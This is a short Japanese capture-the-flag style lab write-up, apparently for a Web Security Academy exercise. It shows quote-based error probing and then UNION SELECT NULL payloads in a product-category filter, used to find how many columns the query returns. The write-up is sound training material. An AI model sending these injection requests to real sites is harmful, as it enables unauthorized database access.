SQL injection 13 / 51 LAB3

UNION attack: クエリによって返される列の数を決定する

前提:商品カテゴリにSQLインジェクションが存在する

クエリの結果はアプリケーションのレスポンスで返されるため UNIONが使える。

デフォルトリクエスト・レスポンス

GET /filter?category=Accessories HTTP/2
Host: 0a38009304f9741681361b78002e0005.web-security-academy.net
Cookie: session=AQ0GHyPcm9wET6rDXMRgFCDYaHwQFMBS
~省略~

HTTP/2 200 OK
~省略~
<th>Cheshire Cat Grin</th>


結果表は4行

検証例1:エラーを発生させてみる「'」=「%27」の入力

GET /filter?category=Accessories%27 HTTP/2
↓
HTTP/2 500 Internal Server Error
GET /filter?category=Accessories%27%27 HTTP/2
↓
HTTP/2 200 OK
~省略~
<h1>Accessories&apos;&apos;</h1>
GET /filter?category=Accessories%27%27%27 HTTP/2
↓
HTTP/2 500 Internal Server Error

検証例2:null を増やしていく

GET /filter?category=Accessories%27union+select+null-- HTTP/2
↓
HTTP/2 500 Internal Server Error
GET /filter?category=Accessories%27union+select+null,null,null-- HTTP/2
↓
HTTP/2 200 OK


結果、空(null)行が1行追加され計5行となっている。

lab-determine-number-of-columns

/* -----codeの行番号----- */